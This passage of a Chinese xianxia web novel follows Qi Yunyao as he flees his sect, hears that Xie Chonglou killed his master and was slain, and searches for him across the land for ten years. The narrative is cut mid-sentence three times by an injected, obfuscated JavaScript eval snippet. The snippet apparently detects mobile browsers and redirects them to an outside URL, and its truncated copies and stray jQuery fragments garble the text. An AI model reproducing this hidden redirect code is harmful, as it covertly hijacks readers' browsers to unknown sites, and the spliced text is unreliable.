刚走到门口,就被祁云耀犟种似的声音叫住:“娘!那谢重楼呢?他还受了那么重的伤,我不管他了吗?他怎么办?” 祁艳的脚步猛地顿住,背对着他们,沉默了片刻,带着一种莫名的、难以言说的情绪,轻轻叹了口气。 祁云耀、祁余天、祁灵昭三人齐齐屏住呼吸,以为祁艳会说些什么。可等了许久,祁艳却什么也没说,只是抬脚,缓缓走出了房门。 走到门口时,她瞥见站在一旁的大儿子和小女儿,抬了抬下巴,吩咐道:“进去陪着云耀,好好看着他,别让他一个人胡思乱想,也别让他再耍什么花样。” 话音落,她便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200412|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转身离去,身影很快消失在回廊的阴影里。 入夜,三人围坐在祁云耀的屋内,烛火摇曳,映得三人神色各异。祁云耀依旧一脸焦灼,絮絮叨叨地分析着,而祁余天和祁灵昭,被他折磨了一整天,早已精疲力尽,连抬眼皮的力气都快没了。 “我猜娘肯定知道些什么!谢重楼身上一定发生了什么事,娘不肯说而已!” 祁灵昭把脸贴在冰凉的桌面上,手里有一搭没一搭地翻着话本,不管祁云耀说什么,都只是有气无力地“嗯嗯嗯”应和着,眼神空洞,显然早已神游天外。祁余天则坐在一旁,把下人送来的小食、糕点一股脑往嘴里塞,眼睛死死盯着碟子里的糕点,不管祁云耀念叨什么,都只是含糊不清地“嗯嗯嗯”敷衍,半点没往心里去。 “所以,我必须去找谢重楼,弄清楚到底发生了什么!”祁云耀拍着桌子,语气坚定,眼底满是执拗。 “嗯——不行!” 两道声音齐声响起,祁灵昭和祁余天几乎是同时回神。 祁云耀见状,又故技重施,瘪着嘴,红着眼眶,开始无所不用其极地哭诉起来,又把那套“没人疼、没人爱、只有谢重楼真心对我”的话翻了出来,哭得一把鼻涕一把泪。 可经过方才祁艳的无情拆台、戳破黑历史后,祁余天和祁灵昭早已免疫,再也不是当初那个会被他随意拿捏、轻易心软的模样。 两人对视一眼,脸上满是不屑,连敷衍都懒得敷衍了,任由他哭嚎。 祁云耀哭了好一会儿,见两人软硬不吃,既不心软,也不劝他,只能变本加厉,开始呜呜地哀嚎起来,哭声凄惨,撕心裂肺,恨不得传遍整个西门,绕梁三日都不绝于耳。 最终,还是祁灵昭最先受不住这魔音灌耳,猛地抬起头,没好气地开口打断:“你干哭有屁用啊!别嚎了!就算我和大哥肯放你走,外面还有十几个三阶以上的弟子轮流巡逻呢,把你住处守得跟铜墙铁壁似的,你怎么确定他们也会放你走?” 祁余天闻言,连连点头附和:“对啊对啊!灵昭说得对,外面那么多人看着,你怎么出去?” 两人本以为,这话能让祁云耀知难而退,没想到,祁云耀却立即停止了哭嚎,收放自如。泪花在烛火下亮晶晶的,眼底却闪过一丝狡黠,嘴角甚至隐隐勾起一抹得意的笑: “我当然有办法——” 月上中天,清辉洒遍西门驻地,四下一片寂静。除了奉命巡逻、严防二公子偷跑的弟子们,府中几乎所有人都已沉入梦乡。 巡逻的弟子们个个神情恹恹,眼皮打架,脑袋一点一点的,显然是困到了极点。 队伍缓缓路过祁云耀的住处,刚要抬脚继续前行,就撞见祁灵昭匆匆要往房里走。几个平日里就心慕她的弟子,顿时来了精神,困意消散大半,连忙上前笑着打招呼:“灵昭师妹。” 祁灵昭脸上带着恰到好处的担忧,颔首一一回应,便推门而入。 几乎是下一瞬,屋内便传来一声凄厉到破音的惨叫: “大哥——!” 巡逻弟子们心头一紧,领头人当即低喝一声:“不好!出事了!” 众人立刻撞开房门,蜂拥而入。 屋内的景象让他们瞬间慌神:祁余天直挺挺地倒在地上,双目紧闭,一动不动;祁灵昭蹲在他身边,双手拼命晃动着他的身体;而本该被禁足在屋内的祁云耀,却不见踪影,唯有窗边的窗户大开着,夜风卷着月光,从窗口灌进来,吹动了桌案上的烛火,摇曳不定。 “不好!二公子跑了!”领头弟子心头一沉,当即厉声下令,“快!一队去汇报掌门!余下的,一人去寻医师来救大公子,其他人跟我顺着窗户追,务必把二公子找回来!” “是!” 弟子们齐声应和,蜂拥出了屋子。 屋内,祁灵昭看着众人匆匆离去的背影,哭嚎声戛然而止,伸出手,轻轻戳了戳地上“昏迷不醒”的祁余天,压低声音,语气里带着几分试探:“成了吗?他们都走了吧?” 祁余天缓缓睁开眼,先是警惕地往门口看了一眼,确认没人折返,才轻轻点头,又有些不确定地摇了摇头,低声嘟囔:“应该……成功了吧?” 说着,他撑着身子坐起来,揉了揉被自己撞得有些发疼的后脑勺——为了装得逼真,他可是真的用了点力气,往桌腿上撞了一下。 与此同时,另一边奉命去汇报祁艳的弟子队伍里,有一人刻意放慢了脚步,渐渐坠到了队伍最后。他低着头,借着回廊的阴影遮掩身形,神色平静,半点不见旁人的焦急。 趁着前面的弟子们一门心思赶路、没人回头留意的间隙,他在一个岔路口,身形一晃,轻轻拐进了旁边的小巷,瞬间消失在夜色里。 紧接着,那人一路狂奔,专挑西门驻地偏僻的小巷子钻,东绕西绕,避开了所有巡逻的岗哨,很快便寻到了西门后侧一处早已废弃、被杂草遮掩的狗洞。 毫不犹豫地弯腰,麻利地钻了出去,当双脚重新踏上西门地界之外的土地时,他长长地舒了一口气,抬手拍了拍身上的尘土,脸上露出了劫后余生的狂喜与得意。 月辉倾泻而下,温柔地洒在他身上,映照出一张年轻英俊、带着几分狡黠的脸——不是别人,正是本该“顺着窗户逃跑”的祁云耀。 32. 弑师 祁云耀赶到青云山地界时,才是他出逃的第二日。原本需五日的路程,被拼尽全力压缩至两日,一路不眠不休。 此刻他的脸色实在难看,面色发青,眼下乌紫,一双眼睛布满红血丝,衣袍沾着尘土,狼狈不堪。 可他却半点顾不上模样好看与否,满心满眼只有一个念头,尽快赶到青云剑庄,见到那个心心念念的人。 好不容易抵达青云山脚。路过一家茶馆时,余光无意间一瞥,正巧看见墙角立着一面一人高的水镜——镜中人狼狈至极,他不由脚步一顿。 如果谢重楼平安无事,他这样邋遢地找上门去,未免太过失礼,也怕让谢重楼担心。 于是他压下心头的急切,脚步一转,进了热闹的茶楼,找到老板,语气客气地借后院的井水梳洗。 冰凉的井水泼在脸上,凉意瞬间蔓延开来,总算将混沌不堪的脑子冰得清醒几分。 他俯身猛灌几口井水,又抬手胡乱扫去身上沾着的尘土,整理了一下褶皱的衣袍,才快步走到前台,给老板递了几枚碎钱,以示感谢。 就在转身要走出茶楼,直奔剑庄时,馆中客人们的谈论声忽然大了起来,隐约夹杂着几分惋惜与惶恐。其中一个嗓门洪亮,看样子与茶楼老板相熟的汉子,拍着桌子大声问道: “老板,那你这铺子是不是就要转手出去了?” 老板整理收来的碎钱,苦笑一声,摇了摇头,语气里满是无奈:“是啊!出这么大事,这生意肯定没法做了,我准备带妻女去仙宗那边呢!听我老乡说仙宗里边虽然不收凡人,但是地界里面确实最安全的,我家媳妇快生了,再在这里呆着终归是不大安全。” 祁云耀即将踏出茶楼的脚步猛地顿住,心脏忽然像是被一只无形的手揪紧,喉间无意识缩紧,呼吸滞涩,喘不上气。 强压下心中慌乱,他转身走到老板身边,问:“老板,你说的‘大事’,是什么事?我是外地来的,专程赶来拜会青云剑庄,莫非……是剑庄出了什么事?” 茶馆里的众人一听他这话,纷纷抬起头,看向他的目光里都带着几分惋惜,却又个个皱着眉,面露难色,像是不知该从何说起。 还是方才那个大嗓门的汉子,接话道:“哎哟小哥,你这可真是来的不巧咯!青云剑庄五日前就已经封山了,你这趟啊,怕是要白跑一趟咯!” “封山?” 两个字像一道惊雷砸在祁云耀的心上。他强装镇定地追问:“小哥,麻烦你详细同我说说,到底是怎么一回事?我一路匆忙赶来,半点都没听说这封山的消息啊!剑庄到底为什么封山?” 馆内众人面面相觑,旋即另一位客人皱眉接话道:“都四五日了,消息还没有传出去吗?” 不等祁云耀回答,他继续说道:“简单来说就是谢重楼杀了他师傅谢青,然后被谢长泽撞见了,于是谢长泽为给师傅报仇就杀了谢重楼。对了小哥,你是晓得这三个人的吧?” 每一个字都像一把尖刀,猝不及防地扎进他的耳朵,连一丝缓冲的余地都没有。 祁云耀僵在原地,脸上残存的血色瞬间褪得干干净净,呼吸凝滞一瞬,耳边反复回响着那句—— “谢长泽杀了谢重楼”。 他甚至来不及反应,来不及反驳,来不及反问一句“这消息保真吗?”,那些话语便强行钻进他的脑子里,像一群流氓恶徒,将他本就紧绷的神经掰碎剪断,并且一拳头将他的大脑砸了个稀巴烂。 后来他是怎么走出茶楼的,怎么一步步爬到青云剑庄山门的,已经全然不记得了。 等意识回笼时,滚烫早已模糊了视线,顺着脸颊不停滑落。他站在青云剑庄那扇巍峨的山门前,渺小又绝望。 山门紧闭,暗色的门板死死闭合着,像一道无法逾越的鸿沟,将他与里面的一切隔绝开来。 “谢重楼?谢重楼!” 他猛地抬起手,用尽全身力气,狠狠拍打着山门,掌心撞在坚硬的门板上,发出沉闷的声响。他一遍又一遍地喊着那个名字,声音哀求,希望门内能有人听见,能来给他开门,能亲口告诉他,茶馆里那些人的话,全都是假的。 谢重楼杀了谢青? 谢长泽杀了谢重楼? 狗屁!全是狗屁! 他不信!他绝不相信! 谢重楼那么好,那么温柔,怎么可能杀自己的师傅?谢长泽与他情同兄弟,又怎么会杀了他? 那些人一定是在说谎,一定是! “开门啊!开门啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215389|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”他的声音愈发沙哑,哭喊道,“我是西门祁云耀,前来拜会掌门!劳烦各位道友开个门吧!求求你们,开个门吧!” 门内,依旧悄无声息,死寂得可怕,仿佛整个青云剑庄都已人去楼空,只剩下这一扇冰冷的山门,沉默地矗立着。 但实际上里面绝对是有人的,祁云耀修炼了西门秘法所以他能看见——有源源不断的灵气,正从山门外汇聚、流转,那股磅礴的气息汇成一股涓流,缓缓淌进剑庄。而青云剑庄一共就三个人是半仙——谢青,谢长泽,谢重楼。 是以里面一定是有人的,至少是有一位半仙的,只是里面的人不肯开门,不肯见他,不肯告诉他真相。 “谢长泽!谢长泽!”他又开始喊谢长泽的名字,“我是祁云耀啊!你还记得我吗?我来找重楼了,我要找谢重楼!你让他出来见我一面,就一面!” 他依旧拼命地捶打着门板,掌心被锤得血肉模糊,鲜血粘黏在门板与手心里,溅落在门前的石板上。可那扇看上去并不厚重的门板,却坚固得不可思议,任凭他怎么捶打、怎么撞击,都纹丝不动。 “谢重楼!谢重楼——呕——重楼——呕——” 眼泪还在不停流淌,声音已经嘶哑到发不出完整的字句。大脑因为极度崩溃而濒临错乱,沙哑的嗓子不断干呕,甚至到最后连一句完整的话都说不清楚,只能不断呕出酸水,旋即又开始嘶喊谢重楼的名字,然后被呛到猛烈咳嗽。可他没有停下,依旧一遍又一遍地喊着谢重楼的名字,一遍又一遍地捶打着山门。 太狼狈了。 祁云耀模糊地想。 要是谢重楼真的没死,要是他真的开门了,看见满是狼狈的自己,一定又会露出那种不知所措的表情。 说不定眼珠又会滴溜溜的转,然后说出一句自以为天衣无缝实际上火上浇油的话把他气个半死。 如果那是真的就好了。 “呕——开……门……求求……” 他的声音渐渐微弱下去,双手早已失去了力气,却还是凭着一股执念,不停地叩击着门扉,一下,又一下,每一下都带着血痕。 山门依旧紧闭,死寂无声,唯有他绝望的嘶吼,在空旷点山里回荡,被山风卷着,渐渐消散。 33. 无门(二合一加更) 第二日,祁云耀是被山间刺骨的寒意冻醒的。 时值清晨,薄薄的晨雾缭绕在山林间,带着浓重的湿气。发丝上凝结着一粒粒细密的小水珠,水珠顺着发汇聚,最终滴落,砸在已然脏污不堪的衣袍上,晕开一个个深色的圆形湿痕,那股凉意仿佛能穿透布料,直抵肌肤。 他费力地动了动僵硬的身子,只觉得浑身上下无一处不疼,每一块骨头都在哀鸣,关节僵硬得像是生了锈,唯独手心除外。 下意识地翻转手掌,掌心的血肉已经凝固成暗红色的硬块,与皮肉黏连在一起,狰狞不堪。伤口早已疼到麻木,失去了知觉,只剩下一种迟钝的、被异物包裹的滞涩感。 祁云耀咬紧牙关,扶着冰冷的山门石壁,挣扎着缓缓站起身。连日的奔波与心力交瘁让他眼睛发胀得厉害,头脑也昏沉不已,视线一阵阵发黑。他强撑着抬头,望向那扇紧闭的朱漆山门,和昨日并无二致,依旧死死地关闭着,纹丝不动,仿佛隔绝了所有希望。 他缓缓俯身,将脸颊贴了上去,试图感受门后哪怕一丝一毫的气息。 然而,除了偶尔掠过林间的风声,吹得树叶沙沙作响,门后只剩下一片死寂,仿佛隔绝了两个世界。 祁云耀踉跄着后退几步,目光死死地锁在那扇门上,满是不舍与不甘。最终,那份不甘还是化作了决绝,他狠了狠心,转过身,摇摇晃晃地朝着山下走去。 重新回到山下,祁云耀立即钻进了天机阁的青云驻地。一进门,驻地内的天弟子们便被他的模样吓了一跳——面色憔悴、衣袍脏乱,掌心还带着重重的伤痕,像个受了大委屈的疯子。本来还以为又是一个“被宗门师兄师弟为卖货而伪装师姐师妹欺骗”的可怜人。一时之间面面相觑,不知如何是好。 片刻后,一小部分胆大的弟子先上前,小心翼翼地想稳住他的情绪;另一部分则悄悄溜去后面,急着找驻地主事长老来平事。 长老赶到时就见那位传说中凶神恶煞,面如死灰,恨不得拖着全宗门下地狱的客人,将满当当一袋钱哗啦洒在桌上,然后麻木的眼睛一转直面他,问道:“你是这的主事人吧?我想进青云剑庄,你有办法吗?” 长老一听这话,顿时灵光一现,心里立马清楚了他的来意——多半是为了青云剑庄已逝的那位,想来又是段没结果的情伤。他连忙擦了擦额角并不存在的汗,陪着笑辩解:“客人这可为难我了!我就是个小驻地的负责人,平时全靠剑庄照拂生意,如今剑庄封山出事,我们哪里有办法进去啊?” 说着,他见祁云耀的脸色越来越沉,眼底的戾气也越来越重,生怕这疯子一下子大喊着“谢青死了我也不活啦!我要拉着你们陪葬!”然后掏出某种火药带着他们一起去陪谢青。 长老求生欲极强,连忙话锋一转,松口给出了建议:“不过,客人要是真的心诚,非进不可,不如去问问我们天机阁总部?总部设在东海,由肖家人主管。肖家人的本事可比我们这些分驻地的大多了,人脉也广,说不定他们真有办法能让您进去。” 祁云耀闻言,心底瞬间燃起一丝微弱的希望。他默默将桌上的钱收好,象征性地留下一部分作为谢礼,便不再多言,转身又马不停蹄地往天机阁总部赶去。 这一路又是四天的奔波。从青云山麓到东海之滨,千里迢迢,风餐露宿。心头的焦灼与那丝渺茫的希望,如同两簇火焰,反复炙烤着他本已脆弱的神经。 当他抵达东海时,整个人已经瘦得完全脱了形,脸颊深深凹陷下去,皮肤紧紧地贴在颧骨上,眼眶也因缺少睡眠而发青下陷,看上去仿佛一具行走的骷髅。连往日里乌黑顺亮的头发,都因这几日的煎熬,悄悄生出了好几根刺眼的银色,掺杂在凌乱发辫里,显得格外凄惶可怜。 祁云耀马不停蹄赶到天机阁总部,这里的规模远比青云驻地宏伟,到处都是奇巧的机关偃甲,弟子们行色匆匆,讨论着各种精巧的设计。 肖严谨恰好不在,接待他的是几位值守弟子。弟子们见他面色憔悴、衣衫褴褛,又听闻他想进封山的青云剑庄,个个愁眉苦展。 几人围坐在一起商议,不过半日功夫,就提出了几十上百个法子,可每一个法子刚说出口,就被同门找出疏漏,一一否决。祁云耀静静地听着,眼中的光芒随着每一个提议的出现而亮起,又随着每一次否决而黯淡。 其中一位据称是掌门小徒的师兄,甚至起身将他的请求禀报给了掌门。可没过多久,就哭丧着脸回来了,无奈地说:“掌门也没办法,青云剑庄封山时设下了大阵,咱们的偃甲鸟飞不进去,能钻地的地龙也无法穿透,除非能破了这大阵,否则天机阁实在没辙。” 祁云耀心有不甘,又在天机阁多待了几日。随着参与讨论的弟子越来越多,提出的方法也愈发繁杂,可最根本的难题始终没能解决——如何破除青云剑庄的护山大阵。 天机阁弟子素来钻研机关之术,对阵法一道知之甚少,纵有巧思,也无从下手。 僵持之际,一位刚从外面办事回来的师兄开口提议:“哎,道友,不如你去凌云阁问问?凌云阁的尹无霜刚和青云剑庄的谢长泽定亲,说不定你去求一求她,或是攀一攀凌云阁的关系,若谢长泽愿意见尹无霜,你或许就能趁机混进剑庄。” “你这办法不行!”一位快人快语的师姐当即打断他,“听我的,去玉虚仙宗!那里遍地都是半仙,定然能找到几个精通阵法的高人。到时候你诚心求告,他们未必不肯出手相助。” “哪有你说的这么容易!仙宗里头哪个是好相与的?都是一群鼻孔长在脑门上的东西。”另一位弟子撇撇嘴,转头瞥见祁云耀狼狈的模样,连忙讪笑着补充,“我说话比较直,没有针对你的意思哈道友。只是你这副模样,恐怕连仙宗的山门都进不去,还是按那位师兄说的,去凌云阁更靠谱些。” “要我说,不如直接去西门!”又有弟子插话,“我听我师妹说,青云剑庄那位谢重楼,每年都会去西门一趟,定然和西门交情不浅。虽说他犯了大错,但西门家大业大,说不定有办法能联系上谢长泽。” “若要绕这么大的弯子,不如去药王谷找灵枢谷主!”有人打趣道,“咱们东海的都知道,玉虚仙宗的风掌门最讨厌他,他也最看不上风幕卿。你就去跟灵枢谷主说,你想给风幕卿下绊子,说不定灵枢谷主心情一好,就愿意带你闯仙宗,到时候再按师姐说的,找仙人破阵!” 这话一出,围坐的弟子们纷纷哈哈大笑起来,可瞥见祁云耀依旧木着脸、僵坐在原地,没有丝毫反应,笑声又戛然而止,场面一时有些尴尬。 “多谢诸位。”祁云耀缓缓站起身,给在场每位弟子都分了些银钱作为答谢,随后便背着剑、摇摇晃晃地走出了天机阁。 弟子们面面相觑,有个嘴快的开口道:“这位道友背上的,好像是把重剑?他难道是西门来的?” “说不定,他就是师妹说的、谢重楼每年去西门要见的人?” “妈呀,不会这么巧吧!” 众人正窃窃私语,就见一个高挑身影从大门走进来,正是归来的肖严谨。几个相熟的弟子连忙上前打招呼,还问他有没有遇见一个刚出去的西门弟子。肖严谨摇了摇头,见这边围了不少人,便笑呵呵地凑过来,听完弟子们的叙说后,若有所思地摸了摸下巴。 “西门来的,要去青云剑庄?” 众人纷纷点头附和。 他席地而坐,瞬间神采飞扬,一双大眼睛亮晶晶的:“说到西门和青云剑庄,我就不得不给你们说一段往事了!这是我太爷爷告诉我的,传说以前,西门里头有一位女眷,是谢青掌门的知己呢……” 权衡再三,祁云耀决定先去凌云阁。从前和尹无霜怎么说也算是有过命的交情,即便不算深厚,也终归是一份香火情。若是实在无计可施,他甚至可以放下尊严,坦白自己对谢重楼的心意,说不定还能和同样心系谢长泽的尹无霜,生出几分异样的“妯娌”情谊,求她出手相助。 一路奔波,终于赶到凌云阁。此地仙气缭绕,楼阁精致,弟子们衣着华贵,神态间自有一股傲气。祁云耀说明来意后,却被守门弟子用一种礼貌而疏离的眼神上下打量了一番,随后冷淡地告知,尹无霜师姐早已外出游历,归期未定,让他不必再等,自行离去。 祁云耀不肯死心,便在凌云阁地界内找了地方暂住,一等就是两天,可尹无霜始终没有露面,反倒只有一辆辆装饰华丽的灵兽车,频繁进出凌云阁山门,往来不绝。 他满心疑惑,不知这些灵兽车的来历,便循着踪迹,找到了凌云阁地界内的天机阁分驻地。一番软磨硬泡后,才从分驻地弟子口中打听出真相—— 尹无霜根本没有外出,自始至终都在宗门之内,只是刻意闭门不见任何客人。那些进进出出的灵兽车,载着的都是她那十几位曾经的“预备恋人”,皆是凌云阁掌门为了哄伤心的尹无霜开心,特意从各地召来的。 天机阁弟子还悄悄透露,青云剑庄刚封山那几日,尹无霜就曾亲自去过剑庄,和他一样被拒之门外,在山门口哭了整整两三天,最终只能狼狈返回凌云阁。后来掌门特意传信给谢长泽,希望能见面商议,却被对方断然拒绝,尹无霜本就伤心欲绝,如今更是终日守在自己的院落里,连掌门都不愿意见,自然没空理会他这个不速之客。 得知尹无霜闭门不见的真相,祁云耀心头再次被失望笼罩,眼底刚燃起的微光又黯淡下去。但他不敢久陷失落,稍作调整便敛去愁绪,郑重谢过天机阁弟子后,转身便朝着玉虚仙宗的方向赶去。 该说不说,玉虚仙宗不愧是现世最古老的宗门。刚一踏入其地界,祁云耀便被眼前的景象晃花了眼——此地灵气浓郁得几乎要凝成实质,仙鹤在云间飞舞,楼宇错落有致,隐于山林之间,往来行人,即便是凡人,也自有一股出尘之气,与外界截然不同。可还不等他从这般景象中平复心神,一盆冷水便兜头泼下。 仙宗果然如外界传闻般门槛极高,连负责洒扫的仆役,都皆是半仙。光是山门处值守的仙人就有二十余人,个个身着统一的云纹道袍,神情肃穆,目光如电。 他们一见祁云耀这衣衫褴褛、浑身狼狈的模样,眼底便不自觉地露出微不可察的嫌弃之色;待听闻他是来寻仙宗弟子求助破阵时,更是有几位年轻仙人直接嗤笑出声,语气里的不屑与傲慢毫不掩饰。 还是领头的那位仙人,尚且维持着几分表面的和善,详细询问了他要找的人的身份。听完他的描述,那仙人心里似乎有了几个人选,脸上却挂着客套的微笑,发问道:“你可有那人的信物或联系方式?” 祁云耀摇了摇头。 “那人是否事先答应见你?可有预约?” 祁云耀再次摇头。 几番追问下来,他只觉得胸口发闷,几乎要窒息,最终不等他们说话,自己灰溜溜地就转身离开。 走投无路之下,他又去找到玉虚仙宗地界内的天机阁驻地,希望能从这些弟子口中套些有用的消息。可刚一进门,他便察觉到不对劲——这里不同于其他地界天机阁的热闹欢快,反倒死气沉沉,弟子们个个神色恹恹,没了往日的热心。 祁云耀见状,索性做起了“散财童子”,给在场弟子分了些银钱。果然,收了钱后,他们的脸色才稍稍缓和,语气也温和了几分。 其中一位弟子开口说道:“你要找的人,我们大概知道是谁了。不过他们现在应该不在仙宗里头,前不久有师兄亲眼看见,仙宗有灵兽车驶往青云剑庄,车周的帷幔被风吹起过一瞬,他们就在车上,还和风幕卿一起。如今这么久没回来,想来是已经进入剑庄了。” 闻言,祁云耀心中瞬间燃起希望,顾不得多做停留,又马不停蹄地赶往青云剑庄。抵达山门前时,护山大阵依旧完好无损,却能清晰看到山门有过开合的痕迹。他不肯放弃,又在山下守了十几天,日日翘首以盼,夜夜辗转难眠。 终于,在某日清晨,一声清脆的鸟鸣划破山间的寂静。 他猛地抬头,只见一群鹊鸟驮着一辆白玉打造的小车,缓缓从空中掠过,车周垂落的层层帷幕,随风轻轻摇曳。 他急忙追了上去,一边跑一边高声呼喊:“风掌门!请留步!求您帮帮我吧!求您带我进青云剑庄!” 拼尽全力追出去几千米,可那辆鹊车却始终没有停下。慌乱之中,他只隐隐约约看见,帷幕后方,一张惊心动魄的脸庞似乎朝他瞥了一眼,旋即便转了回去,再也没有理会他的呼喊,任由鹊车载着,渐渐消失在云雾之中。 此刻已然走投无路,祁云耀却仍不肯放弃,只能徒劳地抓住每一个渺茫的希望。 他又折返回玉虚仙宗,拼尽全力求见风幕卿,可到最后,连人的衣角都未曾见着,便被守山弟子以“掌门清修,不见外客”为由,无情地拦下,甚至连山门都未能靠近。 无奈之下,他转而赶往药王谷,希望能求得灵枢谷主相助。可无论他如何哀求,守门的药童都用各种理由搪塞,一会儿说“谷主在炼丹,不见外客”,一会儿又说“谷主云游去了,不知何日归来”,始终不肯让他入内,更不肯代为通报。 到了最后,他甚至抱着万一的希望,去了禅宗寻求帮助。可禅宗的和尚们一见到他,竟像是见了鬼似的,个个神色怪异。勉强将他请入寺内,奉上一杯清茶,可还坐下不到一柱香的功夫,禅宗内部忽然莫名地开始地动山摇,大殿梁柱上的灰尘簌簌落下,碎石滚落,和尚们顿时乱了阵脚,连忙客客气气、却又无比坚决地将他请出了山门,连连道:“阿弥陀佛,施主与我佛门……缘分未到,还是请回吧。” 祁云耀失魂落魄地坐在禅宗山门前的石块上,缓缓抬头望着灰蒙蒙的天,压抑多日的委屈瞬间爆发,眼泪又不争气地落了下来。手心的伤口已经开始结痂,先前去药王谷的时候那守门的弟子见他受伤特意给他送了些伤药。 盯着手心狰狞的伤口,不由得泛起委屈。 “谢重楼,谢重楼——”他声音哽咽沙哑,整张脸都皱着,眼泪大滴大滴地往下落,砸在手心的痂皮上,带着一丝微弱的刺痒。 “你一定没有死。” 祁云耀喃喃自语,像是在拼命说服自己,片刻后,他又攥紧拳头,一字一句地重复了一遍,声音里多了几分坚定,“你一定没有死!我会找到你的!” 说着,他猛地从石头上站起身,抬手用袖子狠狠抹干净脸上的眼泪。他猛吸一口气又重重的吐出来,压下心底的委屈绝望,眼底重新燃起一丝微弱却执拗的光亮,转身再次踏上了征程。 只是这一次,他不再执着于硬闯青云剑庄寻人,而是悄悄转换了方向——他要先弄清楚,整件事的真相究竟是什么,谢重楼为何会被传出弑师的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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打定主意后,祁云耀转身赶往最近的一处天机阁驻地,购置了一本与谢重楼相关的消息书册。 自谢重楼一剑斩虎蛟、名震江湖后,天机阁便开始大肆流通与他有关的一切,小到他的剑法招式,大到他的江湖传闻,应有尽有。更意外的是,还有一位不知名的天机阁师妹,不知从何处弄出一本记录着谢重楼一生的笔记,细致得惊人。 这本笔记除了一些极为私密的行程——譬如他每年去西门究竟做些什么、在青云剑庄日常如何起居,未曾详细记载外,关于他每一段时日去往了哪里、停留了多久,都记录得清清楚楚。 祁云耀匆匆付了钱便迫不及待地翻开了笔记。 一页页翻过,他发现,谢重楼五年前的踪迹,几乎全是在青云剑庄内,唯有幼时曾有过几次出门的记录,旁边还附着小字批注:是谢长泽背着他出去的。这与先前谢长泽同他提及的过往,分毫不差。 直到五年前,谢重楼从西门回去青云剑庄后,才真正开始在天盟、地宗的视野里活跃起来。这五年间,他几乎走遍了大陆的每一处角落,书册上清晰地记载着他去过的每一个地方、做过的每一件事。 五年间,谢重楼一共接手了三百六十四次青云剑庄派出的任务。祁云耀心头一酸,他这才知道原来这些时间里,除却每年谢重楼专门来找他的那短暂七日,其余时间,竟几乎都在奔波执行任务。 就连有一年,谢重楼来找他时迟到了几日,也并非故意拖延,而是因为任务缠身,实在抽不出时间,却也在任务一结束,便马不停蹄地赶往西门。 笔记上还特意注明,谢长泽每年都会在冬末春初前往西门,停留满七日再返回青云剑庄。 看着一字一句,祁云耀的眼眶又开始发酸,鼻尖阵阵发涩,心底的委屈与思念交织在一起,几乎要将他淹没。 他循着谢重楼走过的足迹,去往他去过的每一个地方,一点点探寻,看究竟是发生了什么,才让一切变成了如今这般模样。 谢重楼花五年走遍的大陆,他足足走了十年。 这十年间,他踏遍了谢重楼曾去过的每一寸土地,每到一处地界,总能遇见几个记得谢重楼的人——原来,除了他,这江湖上还有这么多人记挂着那人。 有人感念谢重楼当年的恩情,听说他弑师被杀的传闻后,满心惋惜;甚至还有几个和他一样不信传言的愣头青,义正言辞地要给谢重楼报仇,可最终都徒劳无功,才明白凡人与仙人之间,隔着的从来都不止一道无法逾越的鸿沟。 按照笔记记载,谢重楼五年间去过的最后一处地方,是南海——当年虎蛟葬身的那片海域。 岸边的渔民们依旧记得他,提起那个少年时,眼中满是崇敬,连连感叹:“当年那小伙子,真是像天神下凡一般,一剑就斩了那害人的虎蛟,救了我们全村的人啊!” 祁云耀站在一旁静静听着,眼眶又忍不住发酸,心底的思念愈发浓烈。 他沿着海岸线仔细勘察,此处的灵气和他去过的那三百多个地方一样,平平无奇,没有一丝异样,没有一点失控的痕迹。 什么都很正常,正常得让人心慌,仿佛江湖上流传的传闻都是真的——谢重楼就是突然疯了,亲手杀了他的师傅谢青。 十年间,他也听闻了不少关于青云剑庄的传闻:剑庄在第四年便解除了封山,只是规矩稍做调整,山上的人可以下山,山下的人却依旧不准上山,青云剑庄也彻底不再插手天盟地宗的任何事务。唯有风幕卿得到了特殊优待,可以时常上山探望。 听说,药王谷的灵枢得知此事后,千里迢迢赶到青云剑庄,当着众人的面痛骂了谢长泽与风幕卿这对“狗师徒”,发泄心中的不满。 海风裹挟着咸湿的气息,吹乱了祁云耀的发丝,他独自一人站在沙滩上,面朝茫茫大海,心底空荡荡的,十年追寻,却一无所获,连一丝关于谢重楼的线索都未曾找到。 忽的,他像是想起了什么,急忙伸手在自己的储物袋里翻找起来,指尖摸索了许久,总算掏出一个小小的木盒。 对着海面,缓缓打开盒子——西落的太阳赤红一片,余晖洒在海面上,也给盒中那一对莹白晶莹的角,染上了一层淡淡的红晕——那是当年谢重楼亲手斩下的角蛇之角,是他一直珍藏在身边。 祁云耀紧紧盯着那对角,思绪不由得飘回了当年——那一天,发生了太多事,既有谢重楼主动亲吻的莫大欢喜,也有他失控坠台、仓促逃离的沉重一击,每一幕,都清晰得仿佛就发生在昨日。 正满心惆怅之际,忽然感觉到手中的蛇角猛地一暗,周身的气息也变得诡异起来。 